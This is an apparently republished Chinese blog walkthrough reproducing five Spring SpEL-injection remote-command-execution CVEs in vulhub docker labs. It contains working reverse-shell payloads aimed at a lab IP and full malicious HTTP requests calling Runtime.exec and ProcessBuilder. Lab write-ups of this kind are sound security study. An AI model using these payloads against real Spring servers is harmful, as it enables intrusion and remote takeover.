vulhub漏洞复现66_Spring

一、 CVE-2016-4977_ Spring Security OAuth2 远程命令执行漏洞

漏洞详情

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

参考链接:

- http://secalert.net/#CVE-2016-4977

- https://deadpool.sh/2017/RCE-Springs/

- http://blog.knownsec.com/2016/10/spring-security-oauth-rce/

运行环境

靶场:192.168.4.10_ubuntu

执行如下命令启动漏洞环境:

#docker-compose up -d

启动完成后,访问`http://your-ip:8080/`即可看到web页面。

漏洞复现

访问`http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test`。首先需要填写用户名和密码,我们这里填入`admin:admin`即可。

vulhub漏洞复现66_Spring_第1张图片

 可见,我们输入是SpEL表达式`${233*233}`已经成功执行并返回结果:

vulhub漏洞复现66_Spring_第2张图片

 然后,我们使用[poc.py](poc.py)来生成反弹shell的POC(注意:[Java反弹shell的限制与绕过方式]:

1. bash -i >& /dev/tcp/192.168.4.29/9999 0>&1  base64编码

vulhub漏洞复现66_Spring_第3张图片

 2. 构成反弹shell

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQuMjkvOTk5OSAwPiYxCg==}|{base64,-d}|{bash,-i}

3. 环境自带poc.py形成攻击字符

vulhub漏洞复现66_Spring_第4张图片

如上图,生成了一大串SpEL语句。附带上这个SpEL语句

`http://your-ip:8080/oauth/authorize?response_type=[exploit]&client_id=acme&scope=openid&redirect_uri=http://test`

vulhub漏洞复现66_Spring_第5张图片

 访问成功弹回shell: 

vulhub漏洞复现66_Spring_第6张图片

二、 CVE-2017-4971_Spring WebFlow 远程代码执行漏洞

漏洞详情

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

参考链接:

- https://threathunter.org/topic/593d562353ab369c55425a90

- https://pivotal.io/security/cve-2017-4971

测试环境

#docker-compose up -d

等待环境启动后,访问`http://your-ip:8080`,将看到一个酒店预订的页面,这是spring-webflow官方给的简单示例。

vulhub漏洞复现66_Spring_第7张图片

漏洞复现

1. 首先访问`http://your-ip:8080/login`,用页面左边给出的任意一个账号/密码登录系统:

vulhub漏洞复现66_Spring_第8张图片

 

2. 然后访问id为1的酒店`http://your-ip:8080/hotels/1`,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):

3. 再点击确认“Confirm”:

vulhub漏洞复现66_Spring_第9张图片

此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC):

```

&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.4.29/9999+0>%261")).start()=vulhub

```

vulhub漏洞复现66_Spring_第10张图片

成功执行,获得shell:

vulhub漏洞复现66_Spring_第11张图片

三、 CVE-2017-8046_Spring Data Rest 远程命令执行漏洞

漏洞详情

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现[RFC6902](https://tools.ietf.org/html/rfc6902)),path的值被传入`setValue`,导致执行了SpEL表达式,触发远程命令执行漏洞。

参考链接:

- http://xxlegend.com/2017/09/29/Spring%20Data%20Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/

- https://tech.meituan.com/Spring_Data_REST_远程代码执行漏洞%28CVE-2017-8046%29_分析与复现.html

环境搭建

#docker-compose up -d

等待环境启动完成,然后访问`http://your-ip:8080/`即可看到json格式的返回值,说明这是一个Restful风格的API服务器。

vulhub漏洞复现66_Spring_第12张图片

 

漏洞复现

访问`http://your-ip:8080/customers/1`,看到一个资源。我们使用PATCH请求来修改之:

```

PATCH /customers/1 HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json-patch+json

Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

```

vulhub漏洞复现66_Spring_第13张图片

 path的值是SpEL表达式,发送上述数据包,将执行`new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}`表示的命令`touch /tmp/success`。然后进入容器`docker-compose exec spring bash`看看:

 可见,success成功创建。

四、 CVE-2018-1270_ Spring Messaging 远程命令执行漏洞

前言

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,

漏洞详情

在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用`StandardEvaluationContext`解析,造成命令执行漏洞。

参考链接:

- https://pivotal.io/security/cve-2018-1270

- https://xz.aliyun.com/t/2252

- https://cert.360.cn/warning/detail?id=3efa573a1116c8e6eed3b47f78723f12

- https://github.com/CaledoniaProject/CVE-2018-1270

漏洞环境

#docker-compose up -d

环境启动后,访问`http://your-ip:8080`即可看到一个Web页面。

vulhub漏洞复现66_Spring_第14张图片

 

漏洞复现

网上大部分文章都说spring messaging是基于websocket通信,其实不然。spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。

连接后端服务器的流程,可以理解为:

1. 用[STOMP协议](http://jmesnil.net/stomp-websocket/doc/)将数据组合成一个文本流

2. 用[sockjs协议](https://github.com/sockjs/sockjs-client)发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信

所以我们可以使用http来复现漏洞,称之为“降维打击”。

使用环境自带POC脚本[exploit.py](exploit.py)(需要用python3.6执行),因为该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有:

1. 基础地址,在vulhub中为`http://your-ip:8080/gs-guide-websocket`

2. 待执行的SpEL表达式,如`T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')`

3. 某一个订阅的地址,如vulhub中为:`/topic/greetings`

4. 如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向`/app/hello`发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。

根据你自己的需求修改POC。如果是vulhub环境,你只需修改1中的url即可。

vulhub漏洞复现66_Spring_第15张图片

 执行:

进入容器`docker-compose exec spring bash`,可见`/tmp/success`已成功创建: 

五、 CVE-2018-1273_Spring Data Commons 远程命令执行漏洞

漏洞详情

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

参考链接:

- https://pivotal.io/security/cve-2018-1273

- https://xz.aliyun.com/t/2269

-https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c

环境搭建

#docker-compose up -d

稍等一会,环境启动后,访问`http://your-ip:8080/users`,将可以看到一个用户注册页面。

vulhub漏洞复现66_Spring_第16张图片

 

漏洞复现

参考前面链接中的Payload,在注册的时候抓包,并修改成如下数据包:

```

POST /users?page=&size=5 HTTP/1.1

Host: localhost:8080

Connection: keep-alive

Content-Length: 124

Pragma: no-cache

Cache-Control: no-cache

Origin: http://localhost:8080

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://localhost:8080/users?page=0&size=5

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

```

vulhub漏洞复现66_Spring_第17张图片

执行`docker-compose exec spring bash`进入容器中,可见成功创建`/tmp/success`,说明命令执行成功:

你可能感兴趣的:(java,开发语言,后端,安全,web安全)